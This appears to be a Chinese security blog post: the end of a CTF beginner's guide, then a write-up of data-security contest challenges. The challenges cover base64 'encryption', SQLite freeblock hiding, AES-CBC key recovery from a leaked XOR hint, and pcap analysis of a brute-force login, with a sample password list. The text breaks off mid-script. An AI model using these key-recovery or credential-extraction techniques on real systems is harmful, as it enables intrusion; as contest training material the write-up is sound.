│ │ ├── 📄 pwntools_template.py
│ │ ├── 📄 crypto_solver_template.py
│ │ └── ...
│ └── 📁 oneliners/ # 常用单行命令
│ └── 📄 常用命令速查.md
│
├── 📁 05-Resources/ # 学习资源（原有）
│ └── ...
│
├── 📁 06-Templates/ # 模板文件（原有）
│ └── ...
│
├── 📁 07-AI-Prompts/ # AI提示词库（新增）
│ ├── 📄 Crypto提示词.md
│ ├── 📄 Web提示词.md
│ ├── 📄 Reverse提示词.md
│ └── 📄 通用提示词.md
│
├── 📁 08-Mind-Maps/ # 思维导图（新增）
│ ├── 🎨 CTF知识体系.xmind
│ ├── 🎨 Web安全脑图.png
│ └── ...
│
└── 📁 09-Archived/ # 归档（新增）
 └── 过时或不再使用的笔记

知识库维护节奏：

每日（5-10分钟）：
- 记录今天刷的题（快速笔记）
- 保存AI对话（如果有用）
- 更新进度追踪

每周（1-2小时）：
- 整理本周笔记，补充细节
- 把快速笔记扩展为完整WP
- 提炼知识点，更新专题笔记
- 运行索引生成脚本

每月（2-3小时）：
- 月度总结：回顾学到了什么
- 技能评估：哪些方向进步了
- 查漏补缺：哪些知识点还薄弱
- 知识重构：整理重复/过时内容

每季度（半天）：
- 大扫除：清理不用的笔记
- 重新规划：下季度学习目标
- 工具升级：更新脚本和模板
- 备份导出：防止数据丢失

知识库高级玩法：

Dataview自动化（Obsidian插件）：
自动生成各种统计表格：
- "我做过的所有Crypto题"
- "难度≥3星且未解决的题目"
- "最近30天的刷题记录"
- "标签为#栈溢出的所有笔记"

Excalidraw画图：
- 画ROP链示意图
- 画内存布局
- 画漏洞利用流程
- 画知识关联图谱

Git版本控制：
- 整个知识库用Git管理
- 每周commit一次
- 可以看到自己的成长轨迹
- 多设备同步（GitHub私有仓库）

本地AI检索（RAG）：
- 用LangChain处理Markdown
- 向量化所有笔记
- 本地Ollama推理
- "我记得做过类似题..."立刻搜到

✨ AI带来的机遇：

1. 降低入门门槛
 - 以前：看一周教程才能入门
 - 现在：AI带你24小时速成

2. 加速学习过程
 - 以前：卡一道题可能卡几天
 - 现在：AI几分钟给思路

3. 拓展能力边界
 - 以前：只能专精1-2个方向
 - 现在：AI辅助下能涉猎更多

4. 提升竞争力
 - 会用AI的人 > 不会用AI的人
 - 善用AI的人 > 滥用AI的人
⚠️ AI带来的挑战：

1. 能力虚高的陷阱
 - AI帮你做题 ≠ 你会做题
 - 比赛可能没网/没AI
 - 面试要现场手写代码

2. 思维依赖的风险
 - 失去独立思考能力
 - 遇到新问题束手无策
 - 创造力被AI限制

3. 竞争加剧
 - 所有人都在用AI
 - 门槛降低 = 竞争更激烈
 - 需要比别人用得更好

4. 规则争议
 - 哪些比赛可以用AI？
 - 用到什么程度算公平？
 - 如何证明自己的能力？

人类vs AI：不可替代的核心竞争力

🤖 AI擅长的：

- 知识检索（记住海量知识点）
- 代码生成（写脚本快速准确）
- 模式识别（识别已知算法）
- 重复性工作（批量处理）
- 多方案生成（提供N种思路）

🧠 人类擅长的：

- 直觉判断（这题"感觉"不对劲）
- 创造性思维（全新的攻击角度）
- 上下文理解（理解出题人意图）
- 战略规划（比赛时间分配）
- 价值判断（哪个方向值得深入）
- 经验迁移（这题和XX年那道相似）
- 灵活变通（AI卡住了换思路）

💡 未来的赢家：

不是"人类"，也不是"AI"
而是"善用AI的人类"

公式：
普通人 + AI = 进步较快的人
聪明人 + AI = 超强的人
懒惰的人 + AI = 依然懒惰

正确的成长路径

阶段1：借助AI入门（现在）
目标：快速了解CTF是什么
方法：跟着AI做题，理解思路
时长：1个月，完成20-30道题
标志：能参加比赛，不再完全懵逼

阶段2：减少AI依赖（1-3个月）
目标：培养独立解题能力
方法：先自己想，实在卡了再问AI
时长：3个月，完成50-100道题
标志：简单题能独立完成

阶段3：与AI协作（3-6个月）
目标：形成自己的方法论
方法：你主导，AI辅助验证
时长：持续练习，参加5-10场比赛
标志：有自己的解题风格

阶段4：超越AI（6个月+）
目标：AI是你的助手，不是老师
方法：用AI处理琐事，你做决策
时长：长期积累
标志：能解出AI都做不出的题

最终目标：
不是"不用AI"，而是"善用AI"
AI是你的外挂，但大脑是你的

行动清单：从今天开始

立刻可以做的（今天）

✅ 第1小时：注册AI账号
- Claude / ChatGPT / 千问 至少2个
- 测试能否正常对话
- 保存账号密码

✅ 第2小时：注册CTF平台
- BUUCTF账号
- 攻防世界账号
- 浏览题库，感受难度

✅ 第3小时：做第一道题
- 找个Crypto签到题
- 问AI怎么做
- 理解AI的思路
- 成功拿到flag → 成就感！

✅ 第4小时：建立笔记系统
- 安装Obsidian
- 创建第一个笔记：今天学到了什么
- 保存AI对话记录

✅ 第5-24小时：持续练习
- 每完成一道题就记录
- 遇到问题就问AI
- 感到疲惫就休息（重要！）尤其要保护眼睛和颈椎，少吃高嘌呤食物。

第一周计划

周一-周二：Crypto方向
- 完成5道编码转换题
- 完成3道古典密码题
- 建立Crypto笔记

周三-周四：Web方向
- 完成3道SQL注入题
- 完成2道XSS题
- 学习Burp Suite基础

周五-周六：Misc方向
- 完成3道图片隐写题
- 完成2道压缩包题
- 学习binwalk/strings

周日：复盘总结
- 整理本周所有笔记
- 更新知识库索引
- 规划下周学习内容

第一个月目标

量化目标：
✅ 完成30道题（签到+简单）
✅ 参加1场在线比赛
✅ 建立10条笔记
✅ 熟练使用3个AI平台
✅ 掌握5个常用工具

能力目标：
✅ 能独立解决Crypto签到题
✅ 在AI辅助下解决Web基础题
✅ 理解CTF的基本套路
✅ 不再对比赛感到恐惧
✅ 知道自己的优势方向

心态目标：
✅ 接受"做不出题很正常"
✅ 享受解题过程
✅ 形成自己的学习节奏
✅ 找到志同道合的队友

长期规划（供参考）

3个月：
- 完成100道题
- 参加5场比赛
- 至少1个方向达到中级水平

6个月：
- 完成200道题
- 稳定进入比赛中游
- 建立完整知识体系

1年：
- 完成500道题
- 有机会冲击区域赛奖项
- 可以指导新人入门

记住：
这只是参考，不是必须完成的KPI
每个人节奏不同，找到适合自己的

全文完

🎓 恭喜你读完了整个指南！ 📖 现在把它保存下来，随时查阅 💪 然后，开始行动 🚀 24小时后，你就不再是CTF小白了

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词，获取更多技术资料与书单推荐！📚

第三届“数信杯”数据安全大赛 WP by 静安

Sun, 28 Dec 2025 14:11:04 +0800

关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。

01 数据安全

4、数据存储1

题目名称: 数据存储1
分值: 100分
描述: 工程师小王开发了对数据处理的程序，分析程序功能，解密文件获取原始数据，提交第6行第2列数据。

文件分析

1. 附件内容

1$ unzip re87a57766.zip
2Archive: re87a57766.zip
3 Length Date Time Name
4--------- ---------- ----- ----
5 3296 2025-12-02 05:20 info_19ff9a2.ori.en
6 14552 2025-12-02 05:19 re87a57766

2. 文件类型

1$ file re87a57766
2re87a57766: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), 
3 dynamically linked, stripped
4
5$ file info_19ff9a2.ori.en 
6info_19ff9a2.ori.en: ASCII text, with CRLF line terminators

程序分析

1. 字符串分析

1$ strings re87a57766 | grep -E "(info|base64|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789)"
2
3ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
4./info_19ff9a2.ori
5info_19ff9a2.ori.en

关键发现：

程序使用 Base64 字符表
输入文件：./info_19ff9a2.ori
输出文件：info_19ff9a2.ori.en

2. 加密逻辑推断

根据程序字符串和文件名：

.ori → 原始文件（Original）
.ori.en → 加密文件（Encrypted）
使用 Base64 编码进行"加密"

解密过程

1. 查看加密文件

1$ head -3 info_19ff9a2.ori.en
2MjY1MjMxNDY5NDEgNzA2MTYzMTk2MDIxMTU1NzIyIGE5ZWFjNzNAMWQzLmNuCg==
3MjY2MjEzODU2NTUgODg1ODgyMTk4ODMwMjU3MTgzIDE4Y2E3ZWU5QDI2MC5jb20uY24K
4MzU2MTk4ODY0NzQgNzQ3ODUyMTk3NTI5MTI3Njc5IDM1N2M2NUAzNGUuY29tLmNuCg==

2. Base64 解码

1import base64
2
3# 解码第1行
4line1 = "MjY1MjMxNDY5NDEgNzA2MTYzMTk2MDIxMTU1NzIyIGE5ZWFjNzNAMWQzLmNuCg=="
5decoded = base64.b64decode(line1).decode('utf-8')
6print(decoded)
7# 输出: 26523146941 706163196021155722 a9eac73@1d3.cn

数据格式: 手机号身份证号邮箱

3. 完整解密脚本

 1#!/usr/bin/env python3
 2import base64
 3
 4with open('info_19ff9a2.ori.en', 'r') as f:
 5 lines = f.readlines()
 6
 7decoded_lines = []
 8for line in lines:
 9 line = line.strip()
10 if line:
11 decoded = base64.b64decode(line).decode('utf-8')
12 decoded_lines.append(decoded)
13 print(decoded)
14
15# 获取第6行第2列
16row6 = decoded_lines[5] # 索引从0开始
17columns = row6.split()
18answer = columns[1] # 第2列（索引1）
19
20print(f"\n答案: {answer}")

解密结果

第6行完整数据

25710876040 716896198829037493 ad7862@b7.com

数据分列

第1列（手机号）: 25710876040
第2列（身份证号）: 716896198829037493
第3列（邮箱）: ad7862@b7.com

答案

第6行第2列数据: 716896198829037493

解题工具

 1#!/usr/bin/env python3
 2"""数据存储1 - 快速解密工具"""
 3import base64
 4
 5def decrypt_and_get_answer(file_path, row=6, col=2):
 6 with open(file_path, 'r') as f:
 7 lines = [base64.b64decode(line.strip()).decode('utf-8') 
 8 for line in f if line.strip()]
 9 
10 target = lines[row-1].split()[col-1]
11 return target
12
13# 使用方法
14answer = decrypt_and_get_answer('info_19ff9a2.ori.en', 6, 2)
15print(f"答案: {answer}")

Flag: 716896198829037493

6、数据隐藏(100分)：

题目描述：某汽车供应链物流中台正在进行季度数据归档，由于归档任务占用了主索引资源，运维团队启用了一套“底层应急索引机制”。该机制并不依赖 SQLite 原生的索引，而是设计了一套自定义的跨页链表协议，将关键筛选逻辑碎片化地存储在数据库文件的物理空闲块 (Freeblocks) 数据区中。请检查 sys_config 表，获取底层链表的入口指针以及自定义链表节点的结构定义。根据结构定义，从底层物理空间中提取并重组出“特定批次货物筛选脚本”（SQL）。隐写数据位于 SQLite Freeblock 的有效载荷区（跳过 Freeblock 自身的 4 字节头部）。数据经过了异或处理，密钥与所在物理页号有关。运行提取出的脚本，定位出该批次雷达模组所在的集装箱编号 (container_id) 和车牌号 (license_plate)，最终需要将 container_id 和 license_plate 的后五位数字使用下划线连接提交，例如：CN2877541671_72345。

题目分析

题目要求从SQLite数据库的Freeblock中提取隐藏的SQL脚本，执行后获取特定批次货物的集装箱编号和车牌号。

解题步骤

1. 查看数据库结构和配置

1sqlite3 sqlite.db

查看 sys_config 表获取关键配置信息：

1sqlite> .tables
2drivers orders sys_config warehouses
3
4sqlite> SELECT * FROM sys_config;
5recovery.pointer|ERR_PTR: 0000013B:04F0|Start address of emergency chain
6recovery.structure|Struct: >IHH (NextPage, NextOff, Len)|Custom header inside freeblocks
7recovery.encryption|XOR_PAGE_ID_BE|Encryption mode

2. 解析配置参数

recovery.pointer: 0000013B:04F0
- 页号：0x13B = 315 (十进制)
- 偏移：0x04F0 = 1264 (十进制)
recovery.structure: >IHH (NextPage, NextOff, Len)
- 大端格式，4字节下一页号 + 2字节下一偏移 + 2字节数据长度
- 总共8字节自定义头部
recovery.encryption: XOR_PAGE_ID_BE
- 使用大端字节序的页号作为XOR密钥

3. 编写数据提取脚本

创建 extract.py：

 1#!/usr/bin/env python3
 2import struct
 3
 4# 读取数据库文件
 5with open('sqlite.db', 'rb') as f:
 6 data = f.read()
 7
 8# 获取页面大小
 9page_size = struct.unpack('>H', data[16:18])[0]
10print(f"[*] 页面大小: {page_size} 字节")
11
12# 配置参数
13entry_page = 0x13B # 315
14entry_offset = 0x04F0 # 1264
15
16extracted_sql = []
17current_page = entry_page
18current_offset = entry_offset
19
20visited = set()
21max_iterations = 1000
22iteration = 0
23
24print("[*] 开始遍历链表...\n")
25
26while iteration < max_iterations:
27 location = (current_page, current_offset)
28 if location in visited:
29 break
30 visited.add(location)
31 iteration += 1
32 
33 # 计算物理地址
34 physical_addr = (current_page - 1) * page_size + current_offset
35 
36 if physical_addr + 8 > len(data):
37 break
38 
39 # 读取自定义头部 (8字节: >IHH)
40 header_bytes = data[physical_addr:physical_addr + 8]
41 next_page, next_offset, data_len = struct.unpack('>IHH', header_bytes)
42 
43 print(f"[{iteration}] 页{current_page}+0x{current_offset:04X}: NextPage={next_page}, NextOff=0x{next_offset:04X}, Len={data_len}")
44 
45 if data_len == 0 or data_len > 10000:
46 break
47 
48 # 读取加密数据
49 data_start = physical_addr + 8
50 if data_start + data_len > len(data):
51 break
52 
53 encrypted_data = data[data_start:data_start + data_len]
54 
55 # XOR解密：使用大端字节序的页号
56 page_bytes = struct.pack('>I', current_page)
57 decrypted = bytearray()
58 for i, byte in enumerate(encrypted_data):
59 key_byte = page_bytes[i % 4]
60 decrypted.append(byte ^ key_byte)
61 
62 chunk = decrypted.decode('utf-8', errors='ignore')
63 extracted_sql.append(chunk)
64 
65 # 跳转到下一个节点
66 if next_page == 0 or next_page == 0xFFFFFFFF:
67 break
68 
69 current_page = next_page
70 current_offset = next_offset
71
72# 输出完整SQL
73full_sql = ''.join(extracted_sql)
74print("\n提取的SQL:\n" + "="*70)
75print(full_sql)
76
77# 保存到文件
78with open('extracted_sql.txt', 'w', encoding='utf-8') as f:
79 f.write(full_sql)

4. 执行提取脚本

1python3 extract.py

提取出的SQL内容：

 1-- [EMERGENCY_INDEX] Lidar Batch Locator
 2SELECT
 3 t1.container_id,
 4 t2.license_plate
 5FROM orders t1
 6JOIN drivers t2 ON t1.driver_id = t2.driver_id
 7WHERE
 8 t1.route_path LIKE '%深圳转运心%'
 9 AND t1.weight_kg BETWEEN 45.50 AND 45.60
10 AND t2.phone LIKE '%9527'
11 AND t1.handling_code = 'LIDAR_QC_HOLD';

5. 执行SQL查询

1sqlite3 sqlite.db

 1.mode column
 2.headers on
 3
 4SELECT
 5 t1.container_id,
 6 t2.license_plate
 7FROM orders t1
 8JOIN drivers t2 ON t1.driver_id = t2.driver_id
 9WHERE
10 t1.route_path LIKE '%深圳转运心%'
11 AND t1.weight_kg BETWEEN 45.50 AND 45.60
12 AND t2.phone LIKE '%9527'
13 AND t1.handling_code = 'LIDAR_QC_HOLD';

查询结果：

container_id license_plate
------------ -------------
CN2888991777 粤B-52816

6. 提取答案

根据题目要求，提取 container_id 和 license_plate 的后五位数字：

CN2888991777 → 后5位：91777
粤B-52816 → 后5位数字：52816

Flag

CN2888991777_52816

7、数据加密(100分)：

附件下载

题目描述：某加密产品采用标准算法进行数据安全防护，某安全研究员通过逆向分析得到该产品的代码后发现，这段代码模拟了某商用密码库接口中可能存在的双重填充场景。请分析题目提供的代码文件，基于截获的密文及侧信道数据，恢复原始数据。

task.py 代码结构

 1def padding(msg):
 2 tmp = 16 - len(msg) % 16
 3 pad = format(tmp, '02x')
 4 return bytes.fromhex(pad * tmp) + msg
 5
 6message = padding(flag) # 第一次填充
 7hint = bytes_to_long(key) ^ bytes_to_long(message[:16]) # 侧信道泄露
 8message = pad(message, 16, 'pkcs7') # 第二次填充 (PKCS7)
 9IV = os.urandom(16)
10encryption = AES.new(key, AES.MODE_CBC, iv=IV)
11enc = encryption.encrypt(message)

已知信息

enc = 1ce1df3812668ce0bccd86c146cc56989681e128edd0676f5d26e01abdee90c860e22a5a491f94ac5ca3ab02242740fb8c35a3b60ea737ca0d2662fba2b0e299
hint = 32393f4e3c3c4f3e323a512a5356437d
flag长度 = 38字节
flag格式: flag{...}
key长度 = 16字节

双重填充分析

第一次填充（自定义padding）:

flag长度: 38字节
38 % 16 = 6
需要填充: 16 - 6 = 10字节
填充值: 0x0a (10的十六进制)
填充位置: 前面
结果: [0x0a * 10] + flag = 48字节

第二次填充（PKCS7）:

输入: 48字节
48 % 16 = 0
PKCS7规则: 即使整块，也要添加一个完整块的填充
填充: [0x10 * 16] = 16字节
结果: [0x0a * 10] + flag + [0x10 * 16] = 64字节 (4个AES块)

侧信道信息利用

Hint泄露:

1hint = key XOR message[:16]

其中 message[:16] 在第一次填充后是:

[0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 'f', 'l', 'a', 'g', '{', ?]

我们知道前15字节，只有第16字节未知（flag的第6个字符）。

攻击步骤

步骤1: 爆破第16字节

对于每个可能的ASCII字符 c (32-126):

构造完整的16字节: known_15_bytes + c
计算密钥: key = hint XOR constructed_16_bytes

步骤2: 验证密钥正确性

使用候选密钥解密，利用CBC特性:

CBC解密: P[i] = D(C[i]) XOR C[i-1]
第一块: P[0] = D(C[0]) XOR IV (IV未知)
后续块: 可以正确解密（不依赖IV）

验证方法:

解密第4块（最后一块）
检查是否为PKCS7填充: [0x10] * 16
如果匹配，说明密钥可能正确

步骤3: 恢复IV

利用已知的第一块明文:

IV = D(C[0]) XOR P[0]

步骤4: 完整解密

使用恢复的key和IV进行完整解密:

AES-CBC解密
去除PKCS7填充
去除第一次自定义填充

解密实现

 1from Crypto.Cipher import AES
 2from Crypto.Util.number import *
 3from Crypto.Util.Padding import unpad
 4
 5enc = bytes.fromhex('1ce1df3812668ce0bccd86c146cc56989681e128edd0676f5d26e01abdee90c860e22a5a491f94ac5ca3ab02242740fb8c35a3b60ea737ca0d2662fba2b0e299')
 6hint = int('32393f4e3c3c4f3e323a512a5356437d', 16)
 7
 8# 已知前15字节
 9padding_1st = 10
10known_prefix = bytes([padding_1st] * padding_1st) + b'flag{'
11
12# 分割密文块
13blocks = [enc[i:i+16] for i in range(0, len(enc), 16)]
14
15# 爆破第16字节
16for byte_val in range(32, 127):
17 test_msg_block1 = known_prefix + bytes([byte_val])
18 test_key = long_to_bytes(hint ^ bytes_to_long(test_msg_block1), 16)
19 
20 # 使用ECB解密各块
21 cipher = AES.new(test_key, AES.MODE_ECB)
22 dec_blocks = [cipher.decrypt(b) for b in blocks]
23 
24 # 检查最后一块是否为PKCS7填充
25 last_pt = bytes([dec_blocks[3][j] ^ blocks[2][j] for j in range(16)])
26 
27 if last_pt == bytes([0x10] * 16):
28 # 密钥正确！恢复IV
29 iv = bytes([dec_blocks[0][j] ^ test_msg_block1[j] for j in range(16)])
30 
31 # 完整解密
32 cipher_cbc = AES.new(test_key, AES.MODE_CBC, iv=iv)
33 plaintext = unpad(cipher_cbc.decrypt(enc), 16)
34 
35 # 去除第一次填充
36 flag = plaintext[padding_1st:]
37 
38 if flag.startswith(b'flag{') and flag.endswith(b'}'):
39 print(f"Flag: {flag.decode()}")
40 break

解密结果

Flag: flag{IADMIN-TOP-18880101-7634567_2025}
密钥: 38333544363645343830374632313834
IV: 8e3f1bd4fc5e355ee7f42faf0718491e

验证

密文结构:

Block 0: 1ce1df3812668ce0bccd86c146cc5698 <- [0a]*10 + 'flag{I'
Block 1: 9681e128edd0676f5d26e01abdee90c8 <- 'ADMIN-TOP-18880'
Block 2: 60e22a5a491f94ac5ca3ab02242740fb <- '101-7634567_202'
Block 3: 8c35a3b60ea737ca0d2662fba2b0e299 <- '5}' + [0x10]*16

爆破命中:

第16字节 = ‘I’ (0x49)
flag第6个字符 = ‘I’

9、数据泄露(100分)：附件下载

题目描述：分析题目附件，获取陈淑华编号信息进行提交。

5aeT5ZCNOumZiOa3keWNjiznvJblj7c6UzIwMjUxMDAxLOi6q+S7veivgeWPt+eggTo0NDE4ODEyMDAwMDUwMzY0NTA=

flag：S20251001

10、数据隐写(100分)：

题目描述：某黑客团伙将核心机密（flag）隐藏在一张普通图片中，并通过多模态 AI 模型建立了 “图片特征→流量特征” 的映射关系。该模型可将图片中的隐写特征转换为流量特征，而这些流量特征直接编码了 flag。现提供图片、AI 模型及提示信息，请你破解隐写信息，调用模型转换特征，最终还原出 flag。

附件文件:

secret_image.png - 隐写图片 (775x482, RGB)
multimodal_model.pth - PyTorch神经网络模型
stego_hint.txt - 提示文件

提示信息分析

隐写规则提示：
1. 图片的红色（R）通道中隐藏了模型输入特征；
2. 取图片左上角前20个像素的R值，计算 R值 mod 10 得到20维特征；
3. 20维特征输入multimodal_model.pth模型后，输出的数值取整即为flag的ASCII码；
4. ASCII码转换为字符即可得到完整flag。

模型提示：
- 模型为轻量全连接神经网络（MLP），仅含3层线性层+ReLU激活。

解题思路

步骤1: 图片特征提取

根据提示，需要从图片提取20维特征：

读取图片的R通道（红色通道）
提取"左上角前20个像素"
对每个R值取模10

关键问题: “前20个像素"的顺序是什么？

可能的遍历方式：

按行优先：从左到右，从上到下
按列优先：从上到下，从左到右
矩形区域：4x5, 5x4, 2x10等

步骤2: 模型结构分析

加载PyTorch模型检查点：

1checkpoint = torch.load('multimodal_model.pth', map_location='cpu')

从权重张量推断模型结构：

1input_dim = checkpoint['fc1.weight'].shape[1] # 20
2hidden1_dim = checkpoint['fc1.weight'].shape[0] # 64
3hidden2_dim = checkpoint['fc2.weight'].shape[0] # 32
4output_dim = checkpoint['fc3.weight'].shape[0] # 27

模型结构:

输入层: 20维 → 64维 (Linear + ReLU)
隐藏层: 64维 → 32维 (Linear + ReLU)
输出层: 32维 → 27维 (Linear)

27个输出对应27个字符的ASCII码。

步骤3: 遍历测试

由于"前20个像素"的顺序不明确，需要尝试不同的提取方式：

完整解决方案

代码实现

 1#!/usr/bin/env python3
 2import torch
 3import torch.nn as nn
 4from PIL import Image
 5import numpy as np
 6
 7# 定义模型结构
 8class MultiModalModel(nn.Module):
 9 def __init__(self, input_dim=20, hidden1_dim=64, hidden2_dim=32, output_dim=27):
10 super(MultiModalModel, self).__init__()
11 self.fc1 = nn.Linear(input_dim, hidden1_dim)
12 self.relu1 = nn.ReLU()
13 self.fc2 = nn.Linear(hidden1_dim, hidden2_dim)
14 self.relu2 = nn.ReLU()
15 self.fc3 = nn.Linear(hidden2_dim, output_dim)
16 
17 def forward(self, x):
18 x = self.fc1(x)
19 x = self.relu1(x)
20 x = self.fc2(x)
21 x = self.relu2(x)
22 x = self.fc3(x)
23 return x
24
25# 加载图片
26img = Image.open('secret_image.png')
27img_array = np.array(img)
28
29# 加载模型
30checkpoint = torch.load('multimodal_model.pth', map_location='cpu')
31model = MultiModalModel()
32model.load_state_dict(checkpoint)
33model.eval()
34
35# 提取特征 - 按列优先（上到下）
36features = []
37for row in range(20):
38 r_value = img_array[row, 0, 0] # 第1列，前20行
39 features.append(r_value % 10)
40
41features = np.array(features, dtype=np.float32)
42print(f"提取的特征: {features}")
43
44# 模型推理
45with torch.no_grad():
46 input_tensor = torch.tensor(features).unsqueeze(0)
47 output = model(input_tensor)
48 ascii_codes = output.squeeze().numpy().round().astype(int)
49 flag = ''.join([chr(code) for code in ascii_codes])
50 
51 print(f"Flag: {flag}")

测试结果

测试不同的提取方式:

方法	提取方式	结果	是否正确
1	按行优先（第1行前20列）	`ag\au>//EZmco.rdi/]`cZ0-/2w`	❌
2	按列优先（前20行第1列）	`flag{A12I_shu1xin2bei_2025}`	✅
3	4x5矩形区域	`ci^dw?00G\per/tfk0`bf\1/13y`	❌

正确的提取方式: 按列优先，即前20行第1列的R值

特征向量

像素位置: (0,0), (1,0), (2,0), ..., (19,0)
R值: 253, 258, 257, 252, 259, 251, 254, 250, 255, 256, ...
特征: 3, 8, 7, 2, 9, 1, 4, 0, 5, 6, ...

完整特征向量:

1[3, 8, 7, 2, 9, 1, 4, 0, 5, 6, 8, 7, 9, 2, 1, 4, 0, 5, 3, 6]

模型输出

ASCII码: [102, 108, 97, 103, 123, 65, 49, 50, 73, 95, 
 115, 104, 117, 49, 120, 105, 110, 50, 98, 101, 
 105, 95, 50, 48, 50, 53, 125]

字符: f l a g { A 1 2 I _
 s h u 1 x i n 2 b e
 i _ 2 0 2 5 }

答案

flag{A12I_shu1xin2bei_2025}

安全的多模态隐写

 1# 正确的实现方式
 2class SecureStego:
 3 def __init__(self, key):
 4 self.key = key
 5 self.model = load_server_model() # 服务端模型
 6 
 7 def embed(self, image, message):
 8 # 使用密钥加密消息
 9 encrypted = encrypt(message, self.key)
10 # 动态生成隐写位置
11 positions = derive_positions(self.key, image.shape)
12 # 嵌入加密数据
13 stego_image = embed_at_positions(image, encrypted, positions)
14 return stego_image
15 
16 def extract(self, stego_image):
17 # 需要密钥才能提取
18 positions = derive_positions(self.key, stego_image.shape)
19 encrypted = extract_from_positions(stego_image, positions)
20 # 调用服务端API解密
21 message = api_decrypt(encrypted, self.key)
22 return message

02 数据分析

数据处理（第1题）：

分值：25分
题干内容：

请访问 http://139.224.55.37 下载考题附件，附件名称：数据处理.zip
第一天上班的你去查看公司的流量监控记录，发现了一串非常奇怪的流量信息，你判断出这是黑客攻击所产生的流量，请你分析流量，找出泄露的信息。
答案要求：

提交泄露的管理员账号和密码，格式如：123/123

解题思路

这是一道典型的流量分析题，需要从pcap流量包中找出攻击者的行为并提取关键信息。

解题步骤

Step 1: 解压附件

1unzip 数据处理.zip

得到三个文件：

attack.pcapng - 流量包文件（主要分析对象）
#U5c45#U6c11#U4fe1#U606f#U8868.csv - 居民信息表
#U9898#U76ee#U4fe1#U606f.pdf - 题目信息

Step 2: 流量包基础分析

使用Wireshark或命令行工具查看流量包基本信息：

1# 使用tshark查看协议统计
2tshark -r attack.pcapng -q -z io,phs

发现：

总数据包数：3353个
协议类型：全部为TCP
主要端口：5000（服务器端口）

Step 3: 识别攻击类型

通过分析TCP流量，发现大量重复的HTTP POST请求到 /login 接口：

 1import dpkt
 2
 3# 读取pcap文件
 4with open('attack.pcapng', 'rb') as f:
 5 pcap = dpkt.pcapng.Reader(f)
 6 packets = list(pcap)
 7
 8# 分析HTTP POST请求
 9for ts, buf in packets:
10 eth = dpkt.ethernet.Ethernet(buf)
11 if isinstance(eth.data, dpkt.ip.IP):
12 ip = eth.data
13 if isinstance(ip.data, dpkt.tcp.TCP):
14 tcp = ip.data
15 if b'POST /login' in tcp.data:
16 print("发现POST登录请求")

判断：这是一次暴力破解攻击（Brute Force Attack）

Step 4: 提取暴力破解凭证

编写脚本提取所有尝试的用户名和密码：

 1import dpkt
 2import re
 3from urllib.parse import unquote
 4
 5credentials = []
 6
 7for ts, buf in packets:
 8 try:
 9 eth = dpkt.ethernet.Ethernet(buf)
10 ip = eth.data
11 tcp = ip.data
12 
13 if len(tcp.data) > 0:
14 data_str = tcp.data.decode('utf-8', errors='ignore')
15 
16 # 查找POST登录请求
17 if 'POST /login' in data_str and 'username=' in data_str:
18 if '\r\n\r\n' in data_str:
19 body = data_str.split('\r\n\r\n', 1)[1]
20 decoded_body = unquote(body)
21 
22 # 提取用户名和密码
23 username = re.search(r'username=([^&]+)', decoded_body)
24 password = re.search(r'password=([^&\s]+)', decoded_body)
25 
26 if username and password:
27 credentials.append(
28 (username.group(1), password.group(1))
29 )
30 except:
31 pass
32
33print(f"共提取 {len(credentials)} 组凭证")

结果：共提取到 261 组凭证

暴力破解密码列表（部分）：

admin:1
admin:123456.com
admin:123123
admin:idc123!@#
admin:123
admin:aaa123!@#
...
admin:Adm1n@2024#Secure!Pass ← 关键密码

Step 5: 识别成功的登录

分析HTTP响应，查找登录成功的标志：

 1# 统计HTTP响应的Content-Length
 2response_lengths = {}
 3
 4for ts, buf in packets:
 5 try:
 6 eth = dpkt.ethernet.Ethernet(buf)
 7 ip = eth.data
 8 tcp = ip.data
 9 
10 # 只看服务器响应（sport=5000）
11 if tcp.sport == 5000 and len(tcp.data) > 0:
12 data_str = tcp.data.decode('utf-8', errors='ignore')
13 if 'Content-Length:' in data_str:
14 match = re.search(r'Content-Length: (\d+)', data_str)
15 if match:
16 length = int(match.group(1))
17 response_lengths[length] = response_lengths.get(length, 0) + 1
18 except:
19 pass
20
21for length, count in sorted(response_lengths.items()):
22 print(f"长度 {length}: {count} 次")

关键发现：

Content-Length	出现次数	含义
5500	259	登录失败页面
189	2	302重定向（登录成功！）
1766301	1	登录后的数据页面

Step 6: 定位成功的登录凭证

查找返回302重定向的请求对应的凭证：

 1# 查找302响应
 2for stream_key, packets_list in tcp_streams.items():
 3 for pkt in packets_list:
 4 data_str = pkt['data'].decode('utf-8', errors='ignore')
 5 
 6 if 'HTTP/1.1 302 FOUND' in data_str:
 7 print("找到302重定向！")
 8 print(data_str)
 9 
10 # 找到对应的POST请求
11 for req_pkt in packets_list:
12 req_str = req_pkt['data'].decode('utf-8', errors='ignore')
13 if 'POST /login' in req_str:
14 # 提取凭证...

成功的HTTP响应：

1HTTP/1.1 302 FOUND
2Server: Werkzeug/3.1.4 Python/3.12.12
3Date: Tue, 09 Dec 2025 03:06:18 GMT
4Content-Type: text/html; charset=utf-8
5Content-Length: 189
6Location: /
7Vary: Cookie
8Set-Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.aTeSKg.wNp00wl0i77Wq6sQpxH_rHrjtT8; HttpOnly; Path=/
9Connection: close

对应的登录请求：

1POST /login HTTP/1.1
2Host: 172.16.4.135:32768
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 48
5
6username=admin&password=Adm1n%402024%23Secure%21Pass

URL解码后：

username=admin&password=Adm1n@2024#Secure!Pass

Step 7: 验证Flag

Flag格式：用户名:密码

Flag: admin/Adm1n@2024#Secure!Pass

解题脚本

完整的自动化解题脚本：

 1#!/usr/bin/env python3
 2import dpkt
 3import socket
 4import re
 5from urllib.parse import unquote
 6
 7def solve():
 8 pcap_file = 'attack.pcapng'
 9 
10 with open(pcap_file, 'rb') as f:
11 try:
